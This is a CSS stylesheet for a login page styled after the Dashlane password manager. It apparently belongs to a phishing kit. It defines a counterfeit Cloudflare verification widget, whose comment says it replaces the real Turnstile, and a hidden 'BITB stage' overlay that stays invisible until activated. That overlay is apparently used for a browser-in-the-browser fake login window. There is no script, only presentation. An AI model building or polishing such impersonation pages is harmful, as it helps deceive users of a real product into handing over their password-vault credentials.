:root {
    --dashlane-teal: #007C82;
    --dashlane-teal-dark: #005C61;
    --dashlane-green: #03B9C3;
    --dashlane-bg: #F4F6F8;
    --dashlane-text: #1a1a1a;
    --dashlane-muted: #5d6770;
    --dashlane-border: #e0e4e8;
}

* { box-sizing: border-box; }

html, body {
    margin: 0;
    padding: 0;
    font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
    background: var(--dashlane-bg);
    color: var(--dashlane-text);
    min-height: 100vh;
    line-height: 1.5;
}

.page {
    min-height: 100vh;
    display: flex;
    flex-direction: column;
}

.topbar {
    background: #fff;
    border-bottom: 1px solid var(--dashlane-border);
    padding: 12px 28px;
    display: flex;
    align-items: center;
    gap: 12px;
}

.topbar .brand-mark {
    width: 30px;
    height: 30px;
    object-fit: cover;
    border-radius: 50%;
    flex-shrink: 0;
}

.topbar .brand-name {
    font-weight: 700;
    font-size: 18px;
    color: var(--dashlane-text);
    letter-spacing: -0.01em;
}

.topbar .brand-sub {
    color: var(--dashlane-muted);
    font-size: 13px;
    border-left: 1px solid var(--dashlane-border);
    padding-left: 12px;
    margin-left: 4px;
}

.main {
    flex: 1;
    display: flex;
    align-items: center;
    justify-content: center;
    padding: 48px 24px;
}

.card {
    max-width: 440px;
    width: 100%;
    background: #fff;
    border: 1px solid var(--dashlane-border);
    border-radius: 10px;
    box-shadow: 0 4px 16px rgba(0, 32, 36, 0.06);
    padding: 32px 32px 28px;
}

.card h1 {
    font-size: 22px;
    font-weight: 600;
    margin: 0 0 6px;
    color: var(--dashlane-text);
}

.card .lede {
    color: var(--dashlane-muted);
    font-size: 14px;
    margin: 0 0 22px;
}

.user-row {
    display: flex;
    align-items: center;
    gap: 10px;
    background: #F8FAFB;
    border: 1px solid var(--dashlane-border);
    border-radius: 6px;
    padding: 10px 12px;
    margin-bottom: 18px;
}

.user-row .avatar-img {
    width: 34px;
    height: 38px;
    object-fit: contain;
    flex-shrink: 0;
}

.user-row .who {
    font-size: 14px;
    color: var(--dashlane-text);
    flex: 1;
}

.user-row .app-mark {
    width: 22px;
    height: 22px;
    flex-shrink: 0;
    opacity: 0.85;
}

.gate {
    margin: 18px 0 22px;
    display: flex;
    justify-content: center;
}

/* Fake Cloudflare-style verify widget — replaces the real Turnstile
   because the real one injects iframes at z-index 2,000,000,000
   that eat mouse clicks on Windows Chrome. Same visual, fully under
   our control, no third-party DOM. */
.cf-widget {
    width: 300px;
    height: 65px;
    border: 1px solid #cfd6dc;
    border-radius: 4px;
    background: #fafafa;
    display: flex;
    align-items: center;
    padding: 0 14px;
    gap: 12px;
    cursor: pointer;
    user-select: none;
    transition: background 100ms ease, border-color 100ms ease;
    box-sizing: border-box;
}
.cf-widget:hover {
    background: #f4f4f4;
}
.cf-widget.checking { cursor: progress; }
.cf-widget.verified { cursor: default; }
.cf-widget.verified .cf-checkbox {
    border-color: #2e9b3f;
    background: #2e9b3f url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 16 16'%3E%3Cpath fill='none' stroke='%23fff' stroke-width='2.5' stroke-linecap='round' stroke-linejoin='round' d='M3.5 8.5l3 3 6-6.5'/%3E%3C/svg%3E") center / 16px no-repeat;
}
.cf-widget.checking .cf-checkbox {
    border-top-color: transparent;
    border-radius: 50%;
    animation: cf-spin 0.7s linear infinite;
}
.cf-checkbox {
    width: 26px;
    height: 26px;
    border: 2px solid #a0a8b0;
    border-radius: 3px;
    background: #fff;
    flex-shrink: 0;
    transition: border-color 120ms ease, background 120ms ease;
}
@keyframes cf-spin {
    to { transform: rotate(360deg); }
}
.cf-label {
    flex: 1;
    font-size: 14px;
    color: #1f1f1f;
}
.cf-brand {
    display: flex;
    flex-direction: column;
    align-items: flex-end;
    gap: 2px;
    font-size: 10px;
    line-height: 1.1;
    color: #888;
}
.cf-logo {
    font-weight: 700;
    color: #f48120;
    letter-spacing: 0.5px;
    font-size: 9px;
}
.cf-meta a {
    color: #888;
    text-decoration: none;
}
.cf-meta a:hover {
    text-decoration: underline;
}

.btn {
    display: block;
    width: 100%;
    padding: 12px 16px;
    border: none;
    border-radius: 6px;
    background: var(--dashlane-teal);
    color: #fff;
    font-size: 15px;
    font-weight: 600;
    cursor: pointer;
    transition: background 120ms ease;
}

.btn:hover:not(:disabled) {
    background: var(--dashlane-teal-dark);
}

.btn:disabled {
    background: #B7C2C8;
    cursor: not-allowed;
}

.btn-hint {
    text-align: center;
    color: var(--dashlane-muted);
    font-size: 12px;
    margin-top: 12px;
}

.footnote {
    margin-top: 24px;
    padding-top: 18px;
    border-top: 1px solid var(--dashlane-border);
    color: var(--dashlane-muted);
    font-size: 12px;
    text-align: center;
}

.footnote a {
    color: var(--dashlane-teal);
    text-decoration: none;
}

footer {
    text-align: center;
    padding: 20px;
    color: var(--dashlane-muted);
    font-size: 12px;
}

footer a {
    color: var(--dashlane-muted);
    text-decoration: none;
    margin: 0 8px;
}

/* BITB stage — invisible until activated */
#bitb-stage {
    position: fixed;
    inset: 0;
    background: rgba(20, 28, 38, 0.45);
    backdrop-filter: blur(2px);
    display: none;
    align-items: flex-start;
    justify-content: center;
    padding: 40px 16px;
    z-index: 1000;
    overflow: auto;
}

#bitb-stage.active {
    display: flex;
}
